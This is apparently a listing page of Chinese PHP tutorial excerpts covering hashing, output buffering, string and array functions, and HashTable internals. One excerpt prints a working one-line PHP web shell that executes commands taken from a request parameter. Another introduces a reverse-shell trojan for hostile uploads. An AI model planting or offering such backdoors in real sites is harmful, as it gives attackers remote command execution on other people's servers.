-
php的hash算法使用介绍
本文是一个php的hash算法使用介绍,感兴趣的同学参考下. PHP的Hash采用的是目前最为普遍的DJBX33A (Daniel J. Bernstein, Times 33 with Addition), 这个算法被广泛运用与多个软件项目,Apache, Perl和Berkeley DB等。对于字符串而言这是目前所知道的最好的哈希算法,原因在于该算法的速度非常快,而且分类非常好(冲突小,分布均匀) Hash Table是PHP的核心,这话一点都不过分...
PHP 2014-12-15 09:27:07 -
PHP逐行输出(ob_flush与flush的组合)
本文为大家讲解的是PHP实现逐行输出的方法(ob_flush与flush的组合),感兴趣的同学参考下. ob_flush/flush在手册中的描述, 都是刷新输出缓冲区, 并且还需要配套使用, 所以会导致很多人迷惑… 其实, 他们俩的操作对象不同, 有些情况下, flush根本不做什么事情.. ob_*系列函数, 是操作PHP本身的输出缓冲区. 所以, ob_flush是刷新PHP自身的缓冲区. 而flush, 严格来讲, 这个只有在PHP做为apache的Module(handler或者filter)安装的时候, 才有实际作用. 它是刷新WebServer(可以认为特指apache)的缓冲区. 在apache module的sapi下, flush会通过调用sapi_module的flush成员函数指针, 间接的调用apache的api: ap_rflush刷新apache的输出缓冲区, 当然手册中也说了, 有一些apache的其他模块, 可能会改变这个动作的结果.. 有些Apache的模块,比如mod_gzip,可能自己进行输出缓存,这将导致fl...
PHP 2014-12-15 05:27:06 -
PHP的相似度计算函数:levenshtein的使用说明
本文以示例的方式为大家讲解的是PHP的相似度计算函数:levenshtein的使用说明,感兴趣的同学参考下。 使用说明 先看手册上 levenshtein() 函数的说明: levenshtein() 函数返回两个字符串之间的 Levenshtein 距离...
PHP 2014-12-15 02:03:03 -
php 使用array_push()数组函数:将一个或多个单元压入数组的末尾(入栈)
本文为大家讲解的是php 使用array_push()数组函数:将一个或多个单元压入数组的末尾(入栈),感兴趣的同学参考下。 函数array_push():将一个或多个单元压入数组的末尾(入栈) <?php /*函数array_push():将一个或多个单元压入数组的末尾(入栈) * 1、语法:int array_push ( array &array, mixed var [, mixed ...] ) * 2、描述:将 array 当成一个栈,并将传入的变量压入 array 的末尾...
PHP 2014-12-14 19:00:10 -
用shutdown命令远程关机和重启
在进行远程连接的时候,经常要远程关机,远程重启.在进行服务器远程维护时,经常需要进行远程关机、重启等电脑基础操作,使用SHUTDOWN强制关机重启命令和开始菜单的关机重启命令,基本可以保障远程电脑快速重新启动起来,很少出过问题。 shutdown命令的语法格式是:shutdown [-i/-l/-s/-r/-a][-f][-m[\\ComputerName]][-t XX][-c"message"][-d[u][p]:xx:yy] 各参数的含义为: -i 显示图形界面对话框; -l 注销当前用户(默认设置会注销当前用户); -s 关闭计算机; -...
系统程序 2014-12-13 13:27:04 -
php flush输出缓冲应用示例
本文 为大家讲解的是php的flush函数输出缓冲的方法示例代码,感兴趣的同学参考下. 该函数将当前为止程序的所有输出发送到用户的浏览器。 <?php for ($i=10; $i>0; $i--) { echo $i; flush(); sleep(1); } ?> 按照php手册里的说法 该函数将当前为止程序的所有输出发送到用户的浏览器...
PHP 2014-12-13 06:00:05 -
php一句话cmdshell新型 (非一句话木马)
本文为大家讲解了一个新的一句话木马写法:"`"(键盘上~符号的下档键),和python中一样,这个符号中的命令会被php解析器执行,感兴趣的同学参考下. php运行时如果遇见字符``(键盘上~符号的下档键)总会尝试着执行``里面包含的命令,并返回命令执行的结果(string类型); <?php /*一个新型的php一句话cmdshell(非一句话木马) //原理:php运行时如果遇见字符``(键盘上~符号的下档键)总会尝试着执行``里面包含的命令,并返回命令执行的结果(string类型); //局限性:特征码比较明显,``符号在php中很少用到,杀毒软件很容易以此为特征码扫描到并警报;``里面不能执行php代码; //write by skyfire */ echo `$_REQUEST[id]`; ?> ...
PHP 2014-12-13 05:27:08 -
php addslashes 函数使用说明
本文为大家讲解了php下的addslashes函数的使用方法,及用处,感兴趣的同学参考下. addslashes (PHP 3, PHP 4, PHP 5) addslashes -- 使用反斜线引用字符串 描述 string addslashes ( string str ) 返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。这些字符是单引号(')、双引号(")、反斜线(\)与 NUL(NULL 字符)...
PHP 2014-12-12 15:00:14 -
php反弹shell实现代码(反弹木马)
本文为大家讲解了一个php实现的反弹shell的示例代码(反弹木马),并简单讲解了他的原理,感兴趣的同学研究学习下. 遇到一个BT的网站,上传php文件成功之后,每访问一次,文件名就会随机改变一次,并且你访问当前文件如果点其他操作项,文件仍然会改名。 非常无 奈,没想 到什么好的办法,后来灵光一闪...
PHP 2014-12-12 12:06:13 -
php ignore_user_abort与register_shutdown_function 使用方法
本文为大家讲解了php 中的ignore_user_abort与register_shutdown_function 函数的使用方法,感兴趣的同学参考下. 语法: int ignore_user_abort(int [setting]); 返回值: 整数 函数种类: PHP 系统功能 内容说明 0 - NORMAL(正常)1 - ABORTED(异常退出)2 - TIMEOUT(超时) 本函数配置或取得使用端连接中断后,PHP 程序是否仍继续执行。默认值为中断连接后就停止执行...
PHP 2014-12-11 23:03:08 -
PHP 生成的XML,FLASH获取为乱码终极解决
本文为大家讲解了php生成的xml文件,flash中读取为乱码的问题分析和解决方法,感兴趣的同学参考下. 需求: 最不怕跟匪夷所思的问题作斗争了,看谁牛鼻。都好久没在编码上遇到过障碍了,今天居然又遇到个小茶包——PHP生成的XML,以FLASH获取却为乱码...
PHP 2014-12-11 13:09:11 -
PHP 源代码分析 Zend HashTable详解
在PHP的Zend引擎中,有一个数据结构非常重要,它无处不在,是PHP数据存储的核心,各种常量、变量、函数、类、对象等都用它来组织,这个数据结构就是HashTable。 HashTable在通常的数据结构教材中也称作散列表,哈希表...
PHP 2014-12-11 07:24:04